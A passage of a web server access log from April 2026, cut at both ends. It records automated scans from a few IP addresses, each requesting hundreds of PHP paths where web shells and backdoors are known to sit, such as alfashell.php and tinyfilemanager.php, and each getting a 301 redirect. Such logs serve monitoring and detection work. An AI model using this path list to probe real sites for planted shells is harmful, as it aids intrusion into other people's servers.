HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:16 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:04 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:09 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:13 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:16 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:20 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:41:10 +0300] "GET /emcgm.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:58 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:37 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:35:02 +0300] "GET /xxivicLhot.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:35:38 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:56 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:13 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:19 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:29 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:42 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:37:54 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:56 +0300] "GET /gi.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:41:00 +0300] "GET /diayd.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:42:01 +0300] "GET /bykdo.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:44:52 +0300] "GET /new3.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:46:19 +0300] "GET /aqotrjkg.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:46:25 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:46:59 +0300] "GET /only.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:48:52 +0300] "GET /hanyatersenyum.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:49:19 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:37 +0300] "GET /drhunthq.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:40 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:01:13 +0300] "GET /0x19493QU8ZQ.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:01:39 +0300] "GET /iindv.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:02:19 +0300] "GET /Spow_SRw.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:03:31 +0300] "GET /fyflv.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:05:55 +0300] "GET /dhjqs.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:06:06 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:06:24 +0300] "GET /xenium4.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:42:16 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:44:39 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:45:48 +0300] "GET /kaduu.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:46:00 +0300] "GET /zc-124.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:46:09 +0300] "GET /ggddssvl.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:46:41 +0300] "GET /intall.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:47:55 +0300] "GET /anczg.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:47:59 +0300] "GET /bfasb.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:48:17 +0300] "GET /xopgt.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:49:36 +0300] "GET /4GrJSiwkF3A.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:49:59 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:06 +0300] "GET /vrhiw.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:15 +0300] "GET /9EaklzMysJ.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:34 +0300] "GET /l10n.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:46 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:06:51 +0300] "GET /wpc2.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:00 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:04 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:04 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:15 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:27 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:31 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:33 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:36:21 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:54 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:36 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:55 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:57 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:57 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:58 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:26 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:42:41 +0300] "GET /repurify.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:45:38 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:48:37 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:48:40 +0300] "GET /2nzyHnOkEg.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:58:36 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:00:50 +0300] "GET /xigmltad.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:00:50 +0300] "GET /whtrq.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:01:00 +0300] "GET /BhqKs28Cw94.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:05:34 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:06:38 +0300] "GET /ws59.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:31 +0300] "GET /xjgdw.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:00 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:00 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:54 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:38 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:59 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:00 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:45:04 +0300] "GET /tdsaz.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:49:06 +0300] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:49:10 +0300] "GET /2ksm17n.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:58:51 +0300] "GET /hhxc.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:00:06 +0300] "GET /ovajkgsbb.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:00:13 +0300] "GET /euocu.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:00:24 +0300] "GET /wp-denmono.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:02:36 +0300] "GET /vhwwnrnmqc.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:02:39 +0300] "GET /wtogs.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:05:42 +0300] "GET /wpxl.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:06:14 +0300] "GET /green.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:56 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:09 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:15 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:48 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:48 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:48 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:23 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:53 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:58 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:58 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:42 +0300] "GET /ibano.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:46 +0300] "GET /gkojz.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:43:34 +0300] "GET /sde.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:57:29 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:02:45 +0300] "GET /blqjs.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:52 +0300] "GET /balin.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:56 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:58 +0300] "GET /cxxuv.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:05:26 +0300] "GET /druqr.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:57 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:34:08 +0300] "GET /wpls.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:12 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:13 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:46 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:11 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:14 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:14 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:44 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:47 +0300] "GET /x1da.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:41:55 +0300] "GET /zc-220.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:44:28 +0300] "GET /wtiiy.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:46:34 +0300] "GET /jodohghi.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:48:29 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:49:50 +0300] "GET /wglum1.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:50:11 +0300] "GET /13ede.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:24 +0300] "GET /ws87.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:01:47 +0300] "GET /ovajckrrj.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:03:48 +0300] "GET /zvinn.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:05:18 +0300] "GET /wwdgl.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:36 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:30:47 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:31:23 +0300] "GET /jnhddqyz.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:25 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:35 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:15 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:30 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:30 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:36 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:38 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:39 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:39 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:39 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:40 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:43 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:05 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:17 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:17 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:18 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:18 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:28 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:09 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:35:19 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:27 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:28 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:33 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:46 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:48 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:31 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:31 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:40 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:37:46 +0300] "GET /x1da.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:19 +0300] "GET /bxhnfdgd.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:52 +0300] "GET /bclms.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:41:46 +0300] "GET /dawvg.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:30 +0300] "GET /h2.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:48 +0300] "GET /zz8.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:01:06 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:01:24 +0300] "GET /161dfd072f.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:02:10 +0300] "GET /xcakx.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:02:27 +0300] "GET /bhigtouj.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:02:30 +0300] "GET /zyjhr.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:05:05 +0300] "GET /cgi-bin_bkp.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:21 +0300] "GET /maintura.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:03 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:12 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:30 +0300] "GET /lclnqiii.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:43 +0300] "GET /uazsl.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:40 +0300] "GET /3Cr1w6dfjTK.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:49 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:53 +0300] "GET /bypltspd.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:07:56 +0300] "GET /wxfyf.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:03 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:31:05 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:31:08 +0300] "GET /a8.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:00 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:15 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:32:29 +0300] "GET /0yellow.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:36 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:32:36 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:12 +0300] "GET /abhjr.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:33:12 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:26 +0300] "GET /gk.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:33:39 +0300] "GET /fwtoa.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:34 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:34:45 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:35:16 +0300] "GET /junvh.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:35:52 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 172.213.152.234 - - [19/Apr/2026:17:36:01 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:09 +0300] "GET /bivvw.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:40:34 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:41:25 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:41:38 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:43:14 +0300] "GET /sad.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:45:19 +0300] "GET /SS72_kKKjT.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:58:28 +0300] "GET /bfil.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:55 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:17:59:58 +0300] "GET /a6.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:01:55 +0300] "GET /106.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:19 +0300] "GET /sale.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:22 +0300] "GET /ne2026.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:04:39 +0300] "GET /luyuc.php HTTP/1.1" 301 795 "-" "-" 158.158.116.61 - - [19/Apr/2026:18:08:01 +0300] "GET /ctex1.php HTTP/1.1" 301 795 "-" "-" 43.159.141.150 - - [19/Apr/2026:18:14:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.164.197.177 - - [19/Apr/2026:18:59:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.34.246.1 - - [19/Apr/2026:19:59:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 172.190.142.176 - - [19/Apr/2026:22:05:48 +0300] "GET /tymn.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:06:27 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:30 +0300] "GET /just2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:46 +0300] "GET /wp-class-api.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:03:37 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:05:15 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 182.42.105.85 - - [19/Apr/2026:22:03:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [19/Apr/2026:22:05:53 +0300] "GET /eetu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:18 +0300] "GET /gcqoa.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:22 +0300] "GET /plugin-editor.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:06:09 +0300] "GET /wp-kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:06:22 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:28 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:32 +0300] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:36 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:37 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:39 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:41 +0300] "GET /ihodcrk.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:44 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:46 +0300] "GET /owrlfoa.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:50 +0300] "GET /p.php HTTP/1.1" 301 